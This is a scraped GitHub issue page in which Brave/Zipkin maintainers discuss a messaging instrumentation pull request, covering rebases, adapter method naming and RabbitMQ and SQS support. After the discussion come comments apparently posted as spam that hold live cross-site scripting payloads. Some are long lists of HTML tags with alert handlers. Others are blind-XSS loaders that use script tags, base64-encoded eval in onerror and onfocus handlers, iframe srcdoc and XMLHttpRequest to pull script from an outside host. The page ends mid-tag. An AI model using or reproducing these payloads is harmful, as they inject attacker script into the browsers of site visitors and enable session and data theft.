brave icon indicating copy to clipboard operation
brave copied to clipboard

Messaging instrumentation

Open jeqo opened this issue 5 years ago • 24 comments

Follow up of https://github.com/apache/incubator-zipkin-brave/pull/904 with the right source branch.

jeqo avatar May 29 '19 08:05 jeqo

I will try to add rabbit 5.x to this branch https://github.com/apache/incubator-zipkin-brave/issues/884

codefromthecrypt avatar May 29 '19 12:05 codefromthecrypt

FYI I have a pretty big refactor on the way.. I'm in a connecting flight now, but sometime in less than 24hrs I'll push a commit that hopefully helps a lot :)

codefromthecrypt avatar May 29 '19 22:05 codefromthecrypt

due to travel, my mind is mush and I don't expect to be able to push my code tonight. If you have something to push, go for it and I will rebase etc. I will start again tomorrow morning malaysia time.

codefromthecrypt avatar May 30 '19 12:05 codefromthecrypt

One thing that recently came up is the request to control the propagation format https://github.com/apache/incubator-zipkin-brave/issues/915

In JMS, we currently only support "b3" only to assure that headers are safe (idempotent and adhere to JMS naming constraints). We could cite the above issue in a test than an alternate safe propagation model could be used (ex. a different header name with the same format).

codefromthecrypt avatar May 30 '19 12:05 codefromthecrypt

I'm pausing a bit. in case folks want to comment, here's a branch which I'm still working on so that it passes tests. I'm not completely happy with the api but the plan is to add a commit once pass tests and we can cleanup further.

https://github.com/apache/incubator-zipkin-brave/compare/messaging...messaging-refactor

codefromthecrypt avatar May 31 '19 07:05 codefromthecrypt

@jeqo I will rebase this branch on master and force push. then I will rebase my other PR against this

codefromthecrypt avatar Jul 03 '19 02:07 codefromthecrypt

ok sorry to hold this branch hostage so long.

codefromthecrypt avatar Jul 03 '19 07:07 codefromthecrypt

@adriancole I'm starting to work on testing messaging modules and check TODOs.

jeqo avatar Jul 10 '19 16:07 jeqo

probably in unit tests we don't need strict scope decorator then either..

On Wed, Jul 17, 2019 at 8:10 AM Jorge Quilcate Otoya < [email protected]> wrote:

@jeqo commented on this pull request.

In instrumentation/messaging/src/test/java/brave/messaging/ProducerHandlerTest.java https://github.com/openzipkin/brave/pull/914#discussion_r304163160:

  • ProducerHandler<Object, Object, Object> handler;
  • @Before public void init() {
  • messagingTracing = MessagingTracing.newBuilder(
  •  Tracing.newBuilder()
    
  •    .currentTraceContext(ThreadLocalCurrentTraceContext.newBuilder()
    
  •      .addScopeDecorator(StrictScopeDecorator.create())
    
  •      .build())
    
  •    .spanReporter(spans::add)
    
  •    .build())
    
  •  .build();
    
  • handler = ProducerHandler.create(messagingTracing, adapter, extractor, injector);
  • }
  • @After public void close() {

I've seen takeSpan used in IT by using BlockingQueue, but in the case of unit-tests, list is enough. When adding messaging-tests we could use takeSpan.

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/openzipkin/brave/pull/914?email_source=notifications&email_token=AAAPVV44K5LQSBDOZPVFXMLP7ZIMRA5CNFSM4HQKKL72YY3PNVWWK3TUL52HS4DFWFIHK3DMKJSXC5LFON2FEZLWNFSXPKTDN5WW2ZLOORPWSZGOB6UQEIA#discussion_r304163160, or mute the thread https://github.com/notifications/unsubscribe-auth/AAAPVV45WMJDZRP3V7DR2Y3P7ZIMRANCNFSM4HQKKL7Q .

codefromthecrypt avatar Jul 16 '19 23:07 codefromthecrypt

you made a lot of good notes here. mind moving some to here so we don't lose them? https://github.com/openzipkin/openzipkin.github.io/wiki/Messaging-instrumentation-abstraction

On Wed, Jul 17, 2019 at 7:56 AM Jorge Quilcate Otoya < [email protected]> wrote:

@jeqo commented on this pull request.

In instrumentation/messaging/src/main/java/brave/messaging/MessagingAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r304140051:

  • /**
    • Type of channel, e.g. queue or topic. {@code null} if unreadable.
    • Conventionally associated with the key "message.channel_kind"

  • */
  • // Naming matches conventions for Span
  • @Nullable public abstract String channelKind(Chan channel);
  • /**
    • Key used to identity or partition messages. {@code null} if unreadable.
    • Conventionally associated with the key "message.key"

  • */
  • // TODO:
  • // jeqo: I'm wondering if we should use key or id here. We have correlation_id as well, then message.id might fit better.
  • // adrian: maybe we can use some examples to pin this down. kafka uses the word "key" I think. what does amqp and rocketmq use?

AMQP uses message-id ref1 https://www.rabbitmq.com/amqp-0-9-1-reference.html#class.basic and RocketMQ seems to manage both concepts key and id ref2 https://rocketmq.apache.org/docs/core-concept/, but ID seems to match the concept we are trying to map ref3 https://github.com/apache/rocketmq/blob/master/common/src/main/java/org/apache/rocketmq/common/message/MessageId.java

In instrumentation/messaging/src/main/java/brave/messaging/MessagingAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r304143725:

    • Conventionally associated with the key "message.key"

  • */
  • // TODO:
  • // jeqo: I'm wondering if we should use key or id here. We have correlation_id as well, then message.id might fit better.
  • // adrian: maybe we can use some examples to pin this down. kafka uses the word "key" I think. what does amqp and rocketmq use?
  • @Nullable public abstract String messageKey(Msg message);
  • /**
    • Identifier used to correlate logs. {@code null} if unreadable.
    • Conventionally associated with the key "message.correlation_id"

  • */
  • @Nullable public abstract String correlationId(Msg message);
  • // TODO: is protocol abstracted well enough to expose? Ex stomp, AMQP 1.0, Kafka

I'm +1 to have protocol as tag as well. If remoteServiceName is meant to be used to map the name of the cluster/broker, I think protocol would be useful for filtering: select * from traces where messaging.protocol = "kafka" and remote_service_name = "kafka-dev";

In instrumentation/messaging/src/main/java/brave/messaging/MessagingAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r304151582:

    • or implied. See the License for the specific language governing permissions and limitations under
    • the License.
  • */ +package brave.messaging;

+import brave.Span; +import brave.internal.Nullable; + +/**

    • @param <Chan> the type of the channel
    • @param <Msg> the type of the message
    • @param <C> the type that carriers the trace context, usually headers
  • */ +// abstract class instead of interface to allow method adds before Java 1.8 +public abstract class MessagingAdapter<Chan, Msg, C> {
  • // TODO: make some of these methods not abstract as they don't have meaning for all impls

The only one that fit this description is correlationId. JMS and AMQP use it, but Kafka and RocketMQ don't. RocketMQ has a concept of transactionId that might replace it, but then I'd say each impl can add it's own additional identifiers/offsets.

In instrumentation/jms/src/main/java/brave/jms/JmsAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r304157863:

  •  return null;
    
  • }
  • }
  • @Override public T carrier(T message) {
  • return message;
  • }
  • @Override public String channel(Destination channel) {
  • try {
  •  if (channel instanceof Queue) {
    
  •    return ((Queue) channel).getQueueName();
    
  •  } else if (channel instanceof Topic) {
    
  •    return ((Topic) channel).getTopicName();
    
  •  }
    
  •  // TODO: we could use toString here..
    

If we follow destination.toString() instead of casting, we might get something like ActiveMQQueue[queueName]. I'm not against but it could make difficult to process/aggregate later. I'm thinking about #895 https://github.com/openzipkin/brave/issues/895

OTOH, we could create a Channel data type, that could allow use to do the casting only once. WDYT?

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/openzipkin/brave/pull/914?email_source=notifications&email_token=AAAPVVYYCMPPQDZD33IPQA3P7ZGZZA5CNFSM4HQKKL72YY3PNVWWK3TUL52HS4DFWFIHK3DMKJSXC5LFON2FEZLWNFSXPKTDN5WW2ZLOORPWSZGOB6UKINQ#pullrequestreview-262710326, or mute the thread https://github.com/notifications/unsubscribe-auth/AAAPVV2FDAEXSSUISA4X5LDP7ZGZZANCNFSM4HQKKL7Q .

codefromthecrypt avatar Jul 16 '19 23:07 codefromthecrypt

thanks for keeping the wheels turning @jeqo !

codefromthecrypt avatar Jul 16 '19 23:07 codefromthecrypt

ok with me

On Sun, Jul 28, 2019, 8:52 PM Jorge Quilcate Otoya [email protected] wrote:

@jeqo commented on this pull request.

In instrumentation/messaging/src/main/java/brave/messaging/MessagingAdapter.java https://github.com/openzipkin/brave/pull/914#discussion_r308000509:

    • @param <C> the type that carriers the trace context, usually headers
  • */ +// abstract class instead of interface to allow method adds before Java 1.8 +public abstract class MessagingAdapter<Chan, Msg, C> {
  • // TODO: make some of these methods not abstract as they don't have meaning for all impls
  • // jeqo: The only one that fit this description is correlationId. JMS and AMQP use it, but Kafka and RocketMQ don't. RocketMQ has a concept of transactionId that might replace it, but then I'd say each impl can add it's own additional identifiers/offsets.
  • /** Returns the trace context carrier from the message. Usually, this is headers. */
  • public abstract C carrier(Msg message);
  • /**
    • Messaging channel, e.g. kafka queue or JMS topic name. {@code null} if unreadable.
    • Conventionally associated with the key "message.channel"

  • */
  • @Nullable public abstract String channel(Chan channel);

Should we replace channel to channel_name, as we have channel_kind? Similar to span_name, service_name, etc.

— You are receiving this because you were mentioned. Reply to this email directly, view it on GitHub https://github.com/openzipkin/brave/pull/914?email_source=notifications&email_token=AAAPVV2XADD4FP3RS3VWDM3QBWJBHA5CNFSM4HQKKL72YY3PNVWWK3TUL52HS4DFWFIHK3DMKJSXC5LFON2FEZLWNFSXPKTDN5WW2ZLOORPWSZGOB7Y43YY#pullrequestreview-267505123, or mute the thread https://github.com/notifications/unsubscribe-auth/AAAPVV6XXXICSBAZCTS6QETQBWJBHANCNFSM4HQKKL7Q .

codefromthecrypt avatar Jul 28 '19 13:07 codefromthecrypt

@adriancole should we consider RabbitMQ as part of this PR?

jeqo avatar Aug 05 '19 16:08 jeqo

@jeqo definitely or more precisely the amqp client

also we should temporarily add sqs as there was doubt around it

codefromthecrypt avatar Aug 07 '19 00:08 codefromthecrypt

@jeqo warning I'm going to rebase and force push your branch

codefromthecrypt avatar Aug 12 '19 10:08 codefromthecrypt

ok this is now rebased.. we have to look carefully that any new feature or tests added between brave 5.6.7 and 11 weren't accidentally scrubbed out during the rebase. It should be visible by looking at the diff closely, especially tests.

codefromthecrypt avatar Aug 12 '19 10:08 codefromthecrypt

My take is to complete #999 which should be more straightforward. After that make a variant of it for messaging and pull logic from here into that where helpful. Rebasing this PR is probably not worth it.

codefromthecrypt avatar Nov 02 '19 01:11 codefromthecrypt

all but one outstanding PRs have to do with messaging. When I get back to work tomorrow, I'll rebase this so we can try to clear out the queue. cc @jorgheymans

codefromthecrypt avatar May 25 '20 02:05 codefromthecrypt

@jeqo I started to rebase this but it is a bit of work in the very british sense of "a bit" :P

since we've drifted approach, particularly away from Adapter<Msg> to ConsumerRequest etc. I suspect it might be quicker to port the goal vs the impl. wdyt?

codefromthecrypt avatar May 28 '20 09:05 codefromthecrypt

@adriancole agree, let's do that :)

jeqo avatar May 28 '20 10:05 jeqo


tags>


    1. </plaintext> <pre id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></pre> <progress id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></progress> <q id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></q> <rb id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></rb> <rp id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></rp> <rt id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></rt> <rtc id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></rtc> <ruby id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></ruby> <s id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></s> <samp id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></samp> <script id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></script> <section id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></section> <select id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></select> <set id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></set> <shadow id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></shadow> <slot id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></slot> <small id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></small> <source id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></source> <spacer id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></spacer> <span id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></span> <strike id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></strike> <strong id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></strong> <style id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></style> <sub id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></sub> <summary id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></summary> <sup id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></sup> <svg id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></svg> <table id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></table> <tbody id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></tbody> <td id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></td> <template id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></template> <textarea id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></textarea> <tfoot id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></tfoot> <th id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></th> <thead id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></thead> <time id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></time> <title id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></title> <tr id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></tr> <track id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></track> <tt id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></tt> <u id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></u> <ul id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></ul> <var id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></var> <video id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></video> <video2 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></video2> <wbr id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></wbr> <xmp id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></xmp>`` </body></html> </p> <div class="body-meta"> <div class="owner-info float-right"> <img class="owner-avatar" src="https://avatars.githubusercontent.com/u/107300039?v=4" alt="AhsanAli517 avatar" width="48" height="48" title="Published by a pub.dev verified publisher"/> <span class="w3-opacity w3-small"> Jun 11 &#039;22 09:06 </span> <a class="owner-name" href="https://gitmemories.com/AhsanAli517"> AhsanAli517 </a> </div> </div> <div class="clear-both"></div> </div> <div class="issue-body"> <p> <html><body><p><span></span> <a2 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></a2> <abbr id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></abbr> <acronym id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></acronym></p> <address id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></address> <animate id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></animate> <animatemotion id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></animatemotion> <animatetransform id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></animatetransform> <applet id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></applet> <area id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"> <article id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></article> <aside id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></aside> <audio id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></audio> <audio2 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1" rel="nofollow" target="_blank"></audio2> <b id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></b> <bdi id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></bdi> <bdo id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></bdo> <big id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></big> <blink id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></blink> <blockquote id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></blockquote> <br id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <button id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></button> <canvas id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></canvas> <caption id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></caption> <center id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></center> <cite id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></cite> <code id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></code> <col id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <colgroup id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></colgroup> <command id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></command> <content id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></content> <custom tags id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></custom>tags&gt; <data id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></data> <datalist id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></datalist> <dd id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></dd> <del id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></del> <details id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></details> <dfn id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></dfn> <dialog id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></dialog> <dir id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></dir> <div id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></div> <dl id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></dl> <dt id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></dt> <element id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></element> <em id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></em> <embed id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></embed> <fieldset id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></fieldset> <figcaption id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></figcaption> <figure id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></figure> <font id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></font> <footer id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></footer> <form id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></form> <frame id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <frameset id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></frameset> <h1 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></h1> <header id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></header> <hgroup id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></hgroup> <hr id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <i id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></i> <iframe id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></iframe> <iframe2 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></iframe2> <image id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></image> <image2 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></image2> <image3 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></image3> <img id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <img2 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></img2> <input id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <input2 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></input2> <input3 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></input3> <input4 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></input4> <ins id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></ins> <kbd id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></kbd> <keygen id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></keygen> <label id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></label> <legend id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></legend> <li id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <link id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <listing id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></listing> <main id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></main> <map id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></map> <mark id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></mark> <marquee id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></marquee> <menu id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></menu> <menuitem id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></menuitem> <meta id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <meter id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></meter> <multicol id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></multicol> <nav id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></nav> <nextid id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></nextid> <nobr id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></nobr> <noembed id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></noembed> <noframes id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></noframes> <noscript id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></noscript> <object id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></object> <ol id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></ol> <optgroup id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></optgroup> <option id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></option> <output id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></output> <p id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></p> <param id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"> <picture id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></picture> <plaintext id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></plaintext> <pre id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></pre> <progress id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></progress> <q id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></q> <rb id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></rb> <rp id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></rp> <rt id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></rt> <rtc id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></rtc> <ruby id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></ruby> <s id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></s> <samp id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></samp> <script id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></script> <section id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></section> <select id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></select> <set id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></set> <shadow id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></shadow> <slot id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></slot> <small id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></small> <source id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></source> <spacer id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></spacer> <span id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></span> <strike id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></strike> <strong id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></strong> <style id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></style> <sub id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></sub> <summary id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></summary> <sup id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></sup> <svg id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></svg> <table id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></table> <tbody id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></tbody> <td id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></td> <template id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></template> <textarea id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></textarea> <tfoot id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></tfoot> <th id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></th> <thead id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></thead> <time id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></time> <title id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></title> <tr id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></tr> <track id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></track> <tt id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></tt> <u id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></u> <ul id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></ul> <var id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></var> <video id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></video> <video2 id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></video2> <wbr id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></wbr> <xmp id="x" style="transition:outline 1s" ontransitionend="alert(1)" tabindex="1"></xmp> </body></html> </p> <div class="body-meta"> <div class="owner-info float-right"> <img class="owner-avatar" src="https://avatars.githubusercontent.com/u/107300039?v=4" alt="AhsanAli517 avatar" width="48" height="48" title="Published by a pub.dev verified publisher"/> <span class="w3-opacity w3-small"> Jun 11 &#039;22 09:06 </span> <a class="owner-name" href="https://gitmemories.com/AhsanAli517"> AhsanAli517 </a> </div> </div> <div class="clear-both"></div> </div> <div class="issue-body"> <p> <html><body><p><code>javascript:eval('var a=document.createElement(\'script\');a.src=\'https://Rajpoot.xss.ht\';document.body.appendChild(a)')</code> "&gt;<script src="https://Rajpoot.xss.ht"></script> javascript:eval('var a=document.createElement('script');a.src='https://Rajpoot.xss.ht';document.body.appendChild(a)') "&gt;<input onfocus="eval(atob(this.id))" id="dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vUmFqcG9vdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7" autofocus> "&gt;<img src="x" id="dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vUmFqcG9vdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7" onerror="eval(atob(this.id))"> "&gt;<video><source onerror="eval(atob(this.id))" id="dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vUmFqcG9vdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7"> "&gt;<iframe srcdoc='&lt;script&gt;var a=parent.document.createElement("script");a.src="https://Rajpoot.xss.ht";parent.document.body.appendChild(a);&lt;/script&gt;'></iframe></source></video></p> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//Rajpoot.xss.ht");a.send();</script> <script>$.getScript("//Rajpoot.xss.ht")</script> </body></html> </p> <div class="body-meta"> <div class="owner-info float-right"> <img class="owner-avatar" src="https://avatars.githubusercontent.com/u/107300039?v=4" alt="AhsanAli517 avatar" width="48" height="48" title="Published by a pub.dev verified publisher"/> <span class="w3-opacity w3-small"> Jun 11 &#039;22 09:06 </span> <a class="owner-name" href="https://gitmemories.com/AhsanAli517"> AhsanAli517 </a> </div> </div> <div class="clear-both"></div> </div> <div class="issue-body"> <p> <html><head><script 